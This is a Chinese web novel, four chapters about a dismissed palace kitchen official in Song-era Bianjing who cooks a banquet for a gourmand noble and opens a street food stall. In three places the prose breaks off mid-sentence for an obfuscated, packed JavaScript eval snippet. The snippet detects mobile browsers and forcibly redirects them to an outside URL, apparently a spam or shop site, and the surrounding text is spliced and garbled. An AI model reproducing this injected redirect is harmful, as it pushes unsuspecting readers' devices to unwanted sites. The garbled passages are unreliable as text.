《尚食局女官下岗再就业》 1. 第 1 章 冬去春来，御池边柳丝抽嫩芽。 谁知一场疏疏细雨倒春寒，冻坏了出门采风的蓁美人。 而后美人改道尚食局，命人热椒柏酒暖身。 后因其“欠盐少醋没滋味”，将一待封女官黜落。 翌日，晨晖门内。 天光未大亮，晨晖门内已聚了七八个宫装娘子，有人以袖掩面，低声啜泣，呜咽声此起彼伏。 “你说你怎么这么倒霉……” “明明再过三日就册封了，怎会如此？” “要不咱们去求尚食大人？她老人家最疼你……” 侍卫祁檀今日轮值，负责安排宫人离宫，走近时，正听见这番对话，抿唇不语，这女官昨天晌午才出事，今早就被催着出宫，明显有人容不下她，哪还有回旋余地？ 却仍有不明就里的女官抹泪道： “尚食局三年才封一次，偏偏是这时候……” “你当真甘心？还是怕连累我们？” “都怪我，那日偏让你顶值……” “……” 祁檀轻咳一声，取出文书。 “诸位，官印已落。不知哪位是李娘子？” “奴家在此。” 声如莺啼，清亮悦耳。 祁檀抬头，在一众泪眼朦胧的宫人中，蓦地瞧见一张笑盈盈的脸，旧绢素衣，单薄包袱，步履轻快朝他走来。 晨光熹微，映得她眉眼清丽，李怀珠福身一礼：“金陵李氏，劳大人辛苦。” 祁檀眉目微顿，递过户籍文书，“分内之事，不必客气。” 她双手接过，仔细查看后收入包袱，又回头安慰姐妹。 祁檀原本不解，一个即将受封的女官，怎么会因“酒里少盐醋”这种牵强理由被贬？此刻见了她，忽似醍醐灌顶—— 这小娘子立在晨光里，杏眼琼鼻，肤若凝脂，分明是素衣荆钗，却掩不住一股天然灵动。 他忽然想起，前年春宴时，蓁美人还是尚食局宫女，就因在御前侍膳被看中，才飞上枝头。 祁檀抱臂靠在门边，笑意了然。 李氏这般品貌，本就是祸。 难怪蓁娘娘要在册封前，赶紧把她打发走。 ＊ 辰时正刻，二十四局宫人陆续上值。 李怀珠与友人惜别，随祁檀验牌出宫。 东华门前的禁军正在例行盘查，她卸下包袱，任人翻检，目光却忍不住飘向街市—— 从前在尚食局当值，整日困于高墙深院，哪知仅一墙之隔，竟是这般天地。 放眼望去，朱雀大街上青布棚连缀如云，果蔬摊的翠绿、鱼肆的麻白、绸缎庄的七彩，原来这便是孟元老笔下的东京梦华……真好。 “李娘子。”祁檀将店宅务的赁契递给她，“沿此路直行，城东店宅务可作暂居之所。” 所谓店宅务，是一种半官办的住所，租金低廉，又比城南的“福田院”“安济坊”条件好上很多，多预备给军营家属，或是驿站官员转乘用的。 想不到自己一个大龄失编人员，还能得到这样的照顾，李怀珠接过赁契，杏眼微弯，露出几分意外之喜：“多谢大人。” “倒是个心大的。”祁檀见她这般情状，不由失笑，“某当值三载，经手离宫之人不知凡几，还是头回见着反倒宽慰旁人的。不知道的，还当是娘子要出宫游玩。” “欸，俗话说福祸相依，没什么的。”李怀珠趁着长路，炖起了鸡汤。 祁檀：“哦？” “给大人说个故事解闷可好？” 祁檀语气轻松：“洗耳恭听。” 她便说起一桩前朝轶事。 说有位权贵狩猎时不慎断了手指，身边一位亲信以“福祸相依”相劝，反被盛怒之主打入牢狱。 后来那权贵再度出猎，遭遇当地巫人欲擒他祭天，却因见他缺了一指视为不祥，当即放还，转而用随行的属下做了祭品。 权贵回府后幡然醒悟，立即释放了那位亲信，又问：“你说福祸相依，那此番你无辜下狱，莫非也是福分？” 亲信笑言：“若我不曾入狱，当日陪您出猎的，又会是谁呢？” 讲完故事，李怀珠迎上祁檀的目光，眯眼一笑：“笑话而已，大人不必认真。” 好个七窍玲珑的小娘子！这话里话外的机锋，分明是把这事当成了躲灾避祸的幸事。 祁檀半挑眉，“这么说，娘子觉得自己也是‘福祸相依’？” 李怀珠莞尔，“世事无常，只能这么安慰自己罢了。” 祁檀点头，又暗自轻叹——自去年为件芝麻小事降职已有半年，难不成，也有什么好处？ 罢了，今日就行了方便，晚些回宫，去探望趟祖母也好…… 一路同行，二人之间气氛松快了些。 祁檀一路与她闲聊。 “此路东去是潘楼街，夜市直至二更。” “若寻好厨下，马行街的好肉馒头最鲜美……” 李怀珠望着街景，连连点头，但见街上腰系青花布巾的妇人高声叫卖，梳双鬟的小婢托着胭脂匣穿行，细料坊的布商娘子与客人论价……多好的盛世气象！女儿家也能这般自在营生。 转眼间，二人已行至城东店宅务。 厅堂轩敞，竹帘半卷，穿堂风淡淡檀香。 李怀珠递上凭条，那勾押官只略扫一眼，见她衣着素简，便按惯例，要将她打发去西北角的厢房。 身侧，祁檀轻咳一声，往前挪了半分。 那勾押官是何等眼色，目光在祁檀脸上打了个转，心下立时透亮。 这宫里的侍卫官爷，何时亲自送黜落的宫人到此等地方？再瞧这小娘子，立在光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888277|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里玉人一般，其中意味，不言自明……这汴京城里，今日落难明日攀高的戏码还少么？保不齐哪天，眼前这位就得叫一声“贵人”了。 旋即换了副面孔，堆起殷勤笑意，引她去到一处朝南的上房。 李怀珠将他这番变脸瞧在眼里，不禁觉得有些好笑，这人怕是已在心里演完了一出“侍卫情深，落魄宫娥终有靠”的话本子了……想象力倒是丰富。 待到进了那上房——明间开阔，被褥齐整，窗下还摆着张花梨木书案。 临别时，李怀珠想寻个谢礼，祁檀却只道，“娘子往后作何打算？” “打算？”她望向中瓦子，忽扬眉一笑：“郎君日后便知。” 瞧那神采飞扬的模样，祁檀不由失笑。 二人又略寒暄几句，叉手作别。 待祁檀走远，李怀珠立刻交了一月赁钱，凭着宫中文书，竟只需付五百文，比巷尾苍蝇乱飞的大通铺还便宜。 推开门便是自己的地盘了，扑在榻上连打了三个滚。 等打够了，李怀珠想起刚穿来的时候，颇有轻舟已过万山的感慨。 七年前，原主入宫的情形浮现在眼前。 原主父亲不过是监河道的小官，汛期巡堤时被浪头卷走，朝廷抚恤遗孤，她才得以以良家子身份入宫，谁曾想那倒霉的小丫头下台阶时跌了一跤，再睁眼就换了魂。 宫中岁月如履薄冰，李怀住刚穿来的时候没少吃苦头。 原主生母王氏起初还托人往宫中送信，问候身体，后来连信都断了，李怀珠担心王氏有恙，花了五百文买通采买太监，才知她带着幼子嫁了户耕读人家，日子虽清贫倒也安稳。 不过这样也好。 虽说这时对女子改嫁还算宽容，但到底要受些闲话，自己这个前朝女儿，确实不该再去搅和人家的新生活。 又不免想到今后生计。 前世当美食博主的十八般武艺，加上在尚食局做工数年的技艺，此时不用更待何时？ 盘算起开馆子，算本钱，再到存续。 唉。人只道做女官风光，却不知三年学徒，每月薪水就那么仨瓜俩枣，还要熟络关系、人情世故、采买送礼，如今全部家当抖落出来，怕是连套像样的炊具都置办不齐。 李怀珠躺在榻上把玩小银钗子，想起司膳托她送的家书。 她从包袱里找出信笺，只见信上写着一行小字—— 京城南东华街，大槐树下十字坡，孙氏打火店大娘子收。 原来司膳家中是开打火店的，怪不得她房中挂了一副浓黄淡绿的农家山居图。 默念着地址，越念越觉得熟悉。 孙家。十字坡。打火店。 ……怎地想起水浒里那黑店来了？ 转念又想，自己如今这般光景，倒真适合去“人肉包子铺”当个帮厨啊。 2. 第 2 章 因在宫中多受孙司膳照顾，空手上门不像话，路过果摊时，李怀珠顺手挑了一篓春李子。 这时的杏子粉红参半，个头小而饱满，凉脆，酸甜，带点细微的涩，是个赶时令的新鲜物儿，若再隔几天，果肉就软乎了，味道也会更甜，但那时，杏子就不脆爽，是另一番滋味儿了。 李怀珠喜欢酸甜口，几个下肚觉得不错，想着回来的时候再挑些，做成蜜煎和果脯，当成下午茶吃。 出了内城沿着官道行不过半里，三人合抱的老槐树便撞进眼帘，树冠如翠盖般遮了半方天，底下青石阶一路向上，尽头处挑着面杏黄酒旗，“孙家打火店”五个大字墨迹酣畅，像是用烧火棍蘸了浓墨挥就的。 李怀珠仰头望向酒旗，忽听得一阵清脆笑声。 她抬眸，但见一位着杏红窄袖褙子的妇人倚在门框边，鹅蛋脸上缀着对酒窝。 “娘子可是从宫里来的？”孙大娘子不等回答，便热络朝她走来，“可是阿妹托女郎捎信来了？快进来吃盏新酿的梅子酒，这大日头底下站着多烤得慌！” 孙大娘子爽朗热诚，与宫里那位终日板着脸的孙司膳大不相同。 李怀珠展颜一笑，福身行礼，“正是。孙司膳托我给姐姐带封家书。” 从袖中取出信笺，双手奉上，“司膳大人常念叨姐姐酿的梅子酒，说是一口下去，连宫里御酿都比下去了。” “女郎说笑了。”孙大娘子接过信笺，“我那妹子在宫里当差，尽学些虚头巴脑的客套话。” 说着，已将她引至院中。 “不过今日既来了，定要尝尝我新试的方子，加了蜂蜜和紫苏，最是消暑。” 李怀珠称是，随着孙大娘子一同进院，眼前豁然开朗。 这周家打火店果然与寻常邸馆大不相同。 院中视野开阔，池水回环，青砖白瓦。 翘角飞檐下一片青萝藤，倒有几分江南韵味。 穿过月洞门，再往前走，经过廊门，便到了外租的宅舍。 更有别院赏雨楼亭、假山寿石，曲径通幽。 其他如庖厨、马房、农猎一类的，则还有后面的杂院。 “我们这儿除了住宿，还能随猎户进山打野味，或是池边垂钓。”孙大娘子笑吟吟道，“后山还有片野林子，这个时节正好赏花。” 李怀珠连连点头。 这哪是什么农家乐？ 分明是专为文人雅士打造的清雅别院。 那些追求“采菊东篱下”的官宦人家，怕是最爱这等既野趣又不失体面的去处。 来到前厅坐下，孙大娘子展信细读时，小鬟奉上一碟樱桃煎。 李怀珠坐在下首，挑起银签，戳了一颗放在嘴里。 与宫中的用盐与香料炮制的“砌香樱桃”不同，民间做起樱桃果子，多半用蜂蜜熬煎，大大致相当于后世的蜜饯。 樱桃选用紫红相接的紫樱，挟核去籽，用蜂蜜熬，待耗干樱桃汁水，晾晒后再佐蜂蜜慢火煎，直到樱桃果肉呈琥珀状，放凉后保存，能贮存很久。 这时常用这样的法子保存新鲜水果，用以待客。 就跟过节时的瓜子、花生一样，客人可以不吃，但主人家不能没有。 李怀珠略吃一颗，只觉太甜。 白瓷壶里的梅子酒倒是清香甘醇。 紫红的面，青碧的背，清冽温润，却不是腻人的甜，是往喉头深处滑的润，喝完了，齿颊间还凉津津的。 她抿了口，连声称赞，目光却不由被院中景致吸引。 假山后的竹帘忽被风掀起，露出半幅正在晾晒的野味，想来便是孙大娘子方才说的“随行野猎”所得。这般经营心思，倒比汴京城里那些刻板的邸馆高明多了。 “哎呦，这可如何是好……” 孙大娘子看罢书信，脸色踌躇，话音未落，眼风已往李怀珠身上扫了三回。 “可是有为难处？”李怀珠搁下茶盏。 “娘子不知，年前泰安伯爵府的周老伯爷来歇脚，”孙大娘子为难道，“听闻二娘升司膳官，便非要讨顿席面。当时未与二娘商量，我没敢应承。后来书信往来，二娘原定这月初四告假……” 李怀珠垂眸一想，了然。 官家近来都不爱往后宫溜达，太后她老人家急了——寒食宴不够，又搞出个求子祭，孙司膳管着尚食局，忙得脚不沾地，怕是吃饭都得站着扒两口，哪还腾得出空来？ “她在信中说抽不开身，可一应时鲜食材早半月就订下了，连山里的獐子都腌上了。老伯爷几日后便到，这……” 话尾悬在半空，目光却黏在了李怀珠脸上。 茶汤在舌尖回甘，李怀珠慢条斯理咽下。 ——孙娘子这是万事俱备，独独缺个掌勺，来给她递梯子呢。 她放下茶盏，眉眼弯弯接住对方目光：“娘子事事都想在前头，您若不嫌冒昧，这桩事情，不如就交由儿来试试？” 孙大娘子狡黠一笑，“那我可是遇见贵人了！” ＊ 这事缓不得。 接了差事，李怀珠便拿到了定好的席面单子，按照果、菜、肉、酒，将下手分成了四拨人，又分了几人专门备菜。 泰安伯爵府的老伯爷很有名，乃是当今官家的大舅子，继承爵位后，领了份不咸不淡的闲官，平时就喜欢四处吃喝，再写帖子品鉴批颂，活像个美食网红，与孙司膳交好，在宫中提起这人，司膳常会戏称伯爷一声“老饕”，连李怀珠这样的宫人也知道。 对待这样的人，自然要打起十二分精神。 从采买到选材、肉蔬做法，到上菜顺序，喝什么酒佐什么酒馔，用什么银器，都极讲究。 虽说在宫中做的就是统筹宴席，但让李怀珠自己完整订一遍流程，还是废了好些事，况且是第一回脱离上司亲自督导，难免有些地方会来回细琢磨。 当天回到邸馆，将菜单上所需食材、佐料、银器餐具写成了册子，第二天交到了孙大娘子手中。 ——别的倒还算好说，只是打火店里没有齐备的银器，须得去京中酒楼借用，例如潘楼，或者樊楼，再不济，去四司六局也能凑齐。 又实地考察，与当地的肉铺摊子和蔬菜小贩订好份例和时间。 正好也借着出外勤，李怀珠也能在街上多转会儿，为以后营生做个野调。 西市瓦子旁的和菜兜子食客多，一个兜子才八文，是一种金黄色的半月形面点，咬破酥脆的外壳，猪油混着荠菜清香。只是吃到下半只，荤油腻在舌根上。到底是一文钱一文货的买卖。 倒是州桥下的鱼羹摊别有巧思，羹汤里还有冬腌菜和萝卜条。鱼片是现杀的，带点清甜，佐着酸脆小菜，竟把十五文钱吃出了筵席的感觉。 吃饱喝足，李怀珠回去继续培训员工。 “蒸鸭得挑稻谷喂养大的。” “鲫鱼要身扁、肚白的，才鲜嫩。” “鹿筋去腥不用寻常香料，作黄酒一两，胡椒半钱……” 被雇下的娘子们多是在酒楼做惯的好手，起先还不觉得一个名不见经传的姑娘哪里来的这么多理论，说起话来一套一套的。 可听了半晌，从买菜到摆盘，却是越觉得条理清晰。 妮子口舌十分伶俐，颜色又出众，再联想这几日宫里黜了个女官的事，传的沸沸扬扬，于是暗自思忖能接司膳家中私活，怕就是这位了罢。 于是无人敢攀扯，省工减料，生怕耽误了事。 就这么又校对了一日，老伯爷的马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888278|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然优哉游哉从内城来了。 李怀珠得了前院报信，招呼大伙忙碌起来。 因这几日交代的好，流程都在各人心中，从备菜到上桌，过程流畅，很是顺利。 见老伯爷是带了几个来年科考的举子来吃宴席，孙大娘子来后院交代，有个举子车马劳顿，身子有些不适，老伯爷叫添个清爽开胃的前菜。 正巧前两日买的春杏子还在井边镇着，酸甜爽口，用来开胃最好。 李怀珠将春杏子洗净，拍到开裂，加盐去涩，再用半匙冰糖、话梅，加水煮开，把洗去盐粒子的春杏倒在冰糖话梅水里，放些陈皮干丝，用碎冰镇到冰凉，吃时就能装碟了。 李怀珠分好上桌的，叫烧火的小鬟尝一口。 小鬟被冰的眯起眼睛。 “嗯……话梅冰爽，春杏薄甜，娘子还加了陈皮，若是郎君晕了马车，估计会很喜欢呢。” 李怀珠用匙子舀了一勺汤水。 汤饮里有股草叶清香，酸甜和宜，提神醒脑。 嗯，还算适口。 李怀珠遣人端了上去。 不多会儿，孙大娘子风风火火的过来了。 “那小菜才端上桌，老伯爷就使人分了。有个举子见了便吟诗，说甚么梅子杏子，麦花雪花的，老伯爷笑吟吟的吃了一勺，说杏里有江南的味道，啧啧，这些读书人说起话来就是风雅，你们说江南到底是个什么滋味？是甜的还是酸的？” 她话音未落，庖厨里顿时热闹起来。 娘子们七嘴八舌议论起来。 ——梅子金黄杏子肥，麦花雪白菜花稀。 是写江南初夏万物勃发，色彩明丽之景。 赶巧，李怀珠的大学就是在江南读的。 四年闲散时光，让她有时间领略一下苏杭风光，也曾三月下扬州，夜泊秦淮河。但若说起江南的味道，让她记忆最深的，却不是西湖边儿的醋鱼、酒楼里的京苏大菜，而是某次游园过后，一间小馆子家的苏式绿豆汤——红绿丝，冬瓜糖，金桔干，加一勺细嫩弹牙的糯米饭，佐冰镇薄荷水，在暑气闷热的季节里，喝一碗最为清热。 由此可见，她的江南，该是甜的。 还是清清淡淡，凉到透底儿的甜。 ＊ 菜肴如流水般接连呈上。 孙大娘子显然得了老伯爷青眼，愈发神采飞扬，絮絮叨叨说着宴席上的趣闻，那位青衣举子如何俊逸出尘，老伯爷家的小孙儿怎样蹒跚学步，被乳母抱着在池边看锦鲤…… 可世事难料，意外总比计划快。 暮色渐沉，宴席已近尾声。锅里的烧羊肉煨得酥烂，本该是压轴菜，可一掀盖，竟只剩个空荡荡的砂锅，连汤汁都被舔得干干净净。 守灶的小厮面如土色，慌慌张张跑来寻李怀珠。 “小、小娘子！羊肉……羊肉没了！” 李怀珠眉头一蹙，快步赶到灶间，只余满室浓郁的肉香，灶旁撒了一地麦粉，地上歪歪扭扭印着几个爪印。 众人顺着痕迹一抬头，青瓦白墙上，一团橘黄相间的毛团子“嗖”的闪过，留下一声嘤咛似的猫叫。 “天爷啊！”孙大娘子急得绞帕子，“压轴菜就这么没了，老伯爷那儿可怎么交代？” 李怀珠倒不慌，她在宫里见过比这更荒唐的场面，转头，问采买的伏娘。 “眼下可还有什么肉蔬？” 伏娘连忙踮脚，从梁上银钩取下一块吊着的豚肉，又翻出几只鲜虾，为难道：“采买份例都有定额，羊和鱼剩得不多了，眼下只有这条豚肉，虾子也只剩三四。小娘子，可还够用？” 李怀珠净了手，攀膊一挽，笑道。 “无妨，把豚肉去皮，烧锅热油来。咱们今儿做个新花样。” 3. 第 3 章 时人喜肉，尤以羊肉为尊，鱼虾次之，再不济的也要数鸡鸭禽类，像猪肉这样的粗粝之物，寻常难登大雅之堂，更遑论，要作压轴菜登场。 看她一副不疾不徐的模样，众人面面相觑。 数好五花三层，剔除肉筋软脂，李怀珠从水中将处理好的肉条投洗干净，砸在案上。 她要做的，是后世喜宴里不可或缺的一道大菜——四喜丸子是也。 这道大菜相传始于扬州葵花斩肉，做工精细，分量足，浓油赤酱，看起来又威武。 但李怀珠挑来这道菜，更因为这菜名儿好，意头好，万一被问起来，也不会掉价露怯。 不一会儿，她案前又多了些备好的食材。 一块投洗干净的五花肉、几个炖汤剩下的奶白荸荠、一截春笋、和小碗里圆润油亮的生虾子，还有一碟用来卤味的佐料。 烧火的钱大、备菜的柳娘面面相觑，孙大娘子瞧着李怀珠架势十足捡了两把斩肉刀，也不好说什么，便悄悄看着新在何处。 观看实操性好的厨子做菜是种享受。 只见小娘子拿刀将整条肉一切三段，切成了厚片，粗丝，接着便双手掂刀，开始斩肉。 李怀珠手下功夫极为讲究，两刀重，一刀轻，节奏欢快，如马蹄踏地，剁碎猪肉纤维的同时，又增加了肉质黏性。 白脂红肉银刀，肉粒大小如石榴籽，软的打颤。 又在肉中加入荸荠青笋丁、虾丁，掂了一颗鸡子搅打上劲儿。 待油温到了，李怀珠端着肉馅站到了锅边。 手上蘸芡粉水，挖到手心一块拳头般大的肉糜左右抛甩，再顺着油边滚到油锅里，一并作了五六个，炸至金黄捞出，放到煮开的卤水中，又并放了几根咸鸡骨提鲜增香，放到砂锅里小火焖炖。 “……好香。”孙大娘子嗅了几下，问道：“这菜名叫什么？专门做给贵人们的么……” 李怀珠心虚地直笑，只回了个菜名儿。 说实话，这种菜色她在宫里从未做过，连做法都没提过。 在宫里，官家娘娘们的吃食被管的很严，不管什么，多吃一箸也要记录在册，除却司膳还能掂量个眉眼高低，到她这里，就只剩打杂和记录了。 若是真为了献个新菜耍心眼，比官家娘娘们的嘴福先到的，是掌膳的大耳刮子。 ——李怀珠就听说前些年有个宫婢一时兴起，往官家吃的普洱里加了些自己家乡的银针，被试茶的太监尝了出来，闹到了去掖庭做苦工的地步。 所以，她一个经过现代美食熏陶过的吃货，在宫中也不过是个小透明而已。 夹紧尾巴做人，虽然很没存在感，但却很安全。 好在就剩这最后一道菜，大家手脚利落，把庖厨拾掇好，四喜丸子炖的也差不多了。 从里盛出两个拳头大的肉圆，淋上浓稠肉汁。 一个送与帮忙的厨娘小鬟们解馋，另一个递给孙大娘子品尝。 “嗯……肉圆丰腴软烂，肥而不腻，还带着一丝甘爽清甜。”孙大娘子称赞不绝。 李怀珠笑着点头，说：“是加了荸荠和笋子的缘故。” “是再合适不过了！” 孙大娘子一个肉圆下肚，听着李怀珠说话，好似回到了从前自家阿妹围着锅子打转的时，但转念一想，那时二妹总被灶膛熏得黑黢黢，自己也干瘪瘦弱，哪有这样的好容貌？这样的妙人，怎么就被黜了呢，回头还要仔细问问阿妹才好。 前院的小厮赶来传话。 “大娘子，老伯爷酒过三巡，瞧着是要收宴了！” 孙大娘子端着压轴的四喜丸子，赶忙上了席。 宴厅内烛影摇红，七八个春闱举子已喝得两腮飞霞，酒意微醺。 老伯爷高坐主位，红光满面，正捋着胡子与众人笑谈枫丹园新排的几出传奇，说到兴处，还学着哼了两句莺莺燕燕，引得满座哄笑。 孙大娘子把瓷盅搁在席面中央，福身笑道：“伯爷，各位大人郎君，菜已上齐。今日若有招待不周之处，还望多多包涵。” “说这些就见外了！”老伯爷挪了挪圆润的身子，大手一挥，“孙大娘子，今儿这席面圆满，不愧是孙家，好茶饭啊！” “伯爷谬赞了。”孙大娘子笑出细纹，“不过这道‘四喜圆子’，可不是我家二娘的手艺。” “嗬！好个吉利名字！” 老伯爷话音未落，侍从已盛了一例奉上。 肉香飘到鼻尖，那味道既不像羊肉，又不是鱼鲜。 舀起一勺送入口中，肉汁顿时在唇齿间迸开。 伯爷不由眼前一亮：“能把豚肉做成这等滋味的……当真不是二娘？” “虽不是二娘亲手，却是二娘亲手调教的好苗子。” 孙大娘子将二娘因故不能出宫的事细细道来，又话锋一转，似是无意般提及李怀珠的来历——虽是二娘亲传，却是个时运不济的。 “原来如此。”老伯爷捋着胡须的手顿了顿，“那这道菜，莫非是宫里的？” “哎呦，这我可说不准。”孙大娘子一笑，“不如请小娘子过来问问？也好让她沾沾伯爷的福气。” 这话里话外，分明是在为李怀珠讨赏。 老伯爷顿时笑开了花，活像个老小孩，“快请快请！既是二娘的高徒，定要见见！” 李怀珠才解了攀膊，轻手轻脚踱进房内，隐在屏风后头。 烛光将她的身影投在素绢屏风上，勾勒出一道姚丽剪影。 上首，老伯爷不知怎的来了兴致，正与孙大娘子和几位举子高谈阔论，说起席间菜肴竟如数家珍。 “这开席的蒸鸭肉质饱满，白里透粉，一尝便知不是寻常货色。” “再来，各色菜品荤素搭配，油酱陈新，醋水浓淡，处处见功夫啊……” “便单说这席面摆设，盘碟相宜，瓷银交错，大小参差赏心悦目，比起那些死板的十碗八盘，不知高明到哪里去了！” 这老爷子不仅会吃，竟连食材佐料的门道、摆盘的讲究都一清二楚。 李怀珠不由在心底暗暗称奇。 正想着，忽听老伯爷清了清嗓子，陡然道：“咳，你就是那个出宫的女官，李氏？” 那语气活像是见着了好友家的孩子，非要逗弄一番才痛快。 李怀珠福身行礼，心道这老爷子怎么一开口就把她出宫的事捅破了，但此刻沉了脸色反倒小家子气，便展颜道： “拜见伯爷。民女既已出宫，不敢以官自称。” “哦？”老伯爷见这丫头竟不卑不怯，来了兴致，“听说今日压轴菜换了做法，莫不是宫里的秘方，专供官家和娘娘享用的？” 李怀珠眉梢一挑，“伯爷说笑了。不过是民女家乡的寻常做法，上不得台面。宫中贵人饮食自有规制，民女离宫不敢妄言。伯爷若真感兴趣，不妨问问孙司膳？她最清楚其中规矩。” “哈哈哈！”老伯爷突然大笑，拍着脑门道：“老夫今日贪杯，说了糊涂话！” “伯爷言重了。”李怀珠抿嘴浅笑。 老伯爷擦了擦手，兴致更浓：“你这道‘四喜圆子’确实别致，味好，名也好，只是这四喜从何而来，小娘子可否为老夫解惑？” 压中大题的感觉十分不错，李怀珠这些年在宫里也练就了一副好嘴皮儿，于是笑意渐深：“回伯爷，‘四喜’原指福、禄、寿、喜。” “哦？”老伯爷身子前倾，眼中好奇。 “伯爷一生逍遥，遍尝天下至味，此乃福也。在座各位郎君不日金榜题名，食君之禄，此乃禄也。府上小郎君周岁将临，可承伯爷膝下，此乃寿也。” 这番话如春风拂面，听得老伯爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888279|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉开眼笑。 “那喜从何来？” “这喜，却是民女之喜。”听人受用，李怀珠可劲儿瞎扯：“世人道‘千里马常有，而伯乐不常有’。民女初出宫廷，第一席就遇上伯爷这般知味之人，恰似良驹遇伯乐，子牙逢文王，岂非大喜？” 老伯爷一怔，随即抚掌大笑。 “好！说得好！” 这番话正说中他平生得意处。虽未在仕途上有所建树，却自诩为天下第一知味人。此刻被比作伯乐、文王，更是喜得胡须直颤，这小娘子也太会说话了。 “有赏，统统有赏！哈哈哈哈哈……” 讨赏完毕，李怀珠盈盈下拜，退出厅堂，不由得喜上眉梢。 伯爷家大业大，出手阔绰，随便赏她些东西，做生意的本钱就有着落了。 李怀珠前脚刚走，孙大娘子便忙着招呼宾客收尾，席间觥筹交错，众人饮尽最后一巡酒，正是热闹之际。 这时，一个石姓举子用手肘轻撞身旁好友，低声道：“兰时，你瞧瞧，到底是汴京，连个被黜落的小小女官都这般伶俐，三言两语把老伯爷哄得眉开眼笑。啧啧，真是厉害！” 那被唤作“兰时”的青衣举子掏出帕子擦手，细长的丹凤眼微抬，语气冷淡：“女子为官本就不易，黜落之事乃私隐，非礼勿言。” 白衣举子讪讪住口，自觉没趣，转而去向老伯爷敬酒。 屋内酒酣耳热，谢慈借口醒酒，独自踱出门外。 夜风微凉，他沿着廊道漫行，不知不觉竟走到花园附近。 他是江南来的举子，姓谢名慈，表字兰时。 因家中父母早逝，全靠兄长在江南地方为官支撑门庭。 谢氏在金陵算是显赫，可惜人丁落寞，去岁秋闱，他连中两元，因一篇策论写得极好，经老师引荐，成了泰安伯的门生，如今在京中备考，只待明年三月春闱。 江南游子，每逢寂静深夜，难免会想起家乡的杏花春雨，小桥流水…… 嗯，方才那道春杏子味道就不错。 天已黑透，檐下两盏风灯摇曳，映出微弱的光晕，有人正捧着伯府的赏银，挨个分发给忙碌了一日的仆婢们。 几十个丫鬟小厮喜滋滋地排着队，谢慈目光一掠，却见一道纤细身影低着头，手里捧着什么，正朝自己这边走来。 “娘子，回城时要小心些。”有妇人远远叮嘱。 “知道啦！”那人清脆应了一声。 听声音，正是方才席上那位口齿伶俐的。 谢慈驻足灯下，负手而立。 不知怎的，竟想看看这能言善道的女子究竟是何模样。 待她走近，微微侧首。 谁知刚一抬眸，一方嫣红布帕忽被夜风卷起，飘飘荡荡，恰好落在他靴前。 阶下，那小娘子“哎”一声，匆匆追着帕子转身，猝不及防与他四目相对。 那女子扬起下巴，面庞的轮廓渡了一层溶淡月色，只那双眼睛在暗夜中极亮，长眉微挑，唇如桃红，高髻银钗，整个人鲜活灵动，与他想象中沉稳内敛的女官大不相同。 二人目光一触即分，如蜻蜓点水，各自错开。 谢慈俯身拾起帕子，见上面绣着元宝纹样，原是伯府用来裹赏银的缎子。 李怀珠愣了一瞬，随即上前伸手：“劳烦……” 可那人却未递还，只抬手将帕子轻轻挂在廊下的海棠枝上，而后一言不发，转身朝灯火阑珊处走去。 许久没在民风开放的大宋瞧见这么恪守礼数的人了。 李怀珠走到海棠树下，踮起脚尖去够帕子，余光却忍不住瞥向那道渐行渐远的背影。 果然一身淡青襕衫，身姿修长，步履从容。 她收回目光，捏着帕子一角，唇角不自觉弯了弯。 长得倒是怪好看的。 4. 第 4 章 得了伯府八吊青蚨，李怀珠算是有了置办摊位的本钱。 翌日天蒙蒙亮，她去买了几样早点。 东市王记的油炸桧八文一个，金黄酥脆，趁热吃最是香口，就是油重了些，吃多了腻人；蒸糕十文钱一块，松软绵密，配上一碗五文钱的杏仁茶正相宜，算得上实惠；桥头的糖油果子要二十文一个，外脆里糯，甜而不腻，最讨小娘子们喜欢，只是价钱略贵，寻常人家偶尔才舍得买。 李怀珠实地勘察，走东串西逛了些日子，把家伙事准备齐了，俏没声开了张。 鼓声未绝，赶早的商贩、挑担的脚夫，皆搓着手哈着白气，眼睛却不住往那新支起的摊子上瞟。 摊主自然就是来试水的李怀珠，身着一袭素布襦裙，腰间系着围子，乌黑的头发挽着平髻，并未妆饰，却衬得一张脸白净细腻。 她不像旁人那般吆喝，只低头摆弄着面前的火炉。 只见她面前的炉上架着一口平底铁鏊，炭火正旺，烧得鏊面微微发亮，旁边还有一个灶台，上面架着一口冒着肉香的锅子。 卖索饼的妇人抻着脖子瞧，好奇她能做出什么花样来。 却见那小娘子从竹筐里取出一块发好的面团，手腕一抖，便甩在鏊上。面团遇热，立刻滋啦作响，用木铲轻轻压平，待底面烙出金黄脆皮，才翻个面，继续烙。不多时，那面饼便鼓胀起来，外酥里软，香气直往人鼻子里钻。 立时就有食客凑了过去。 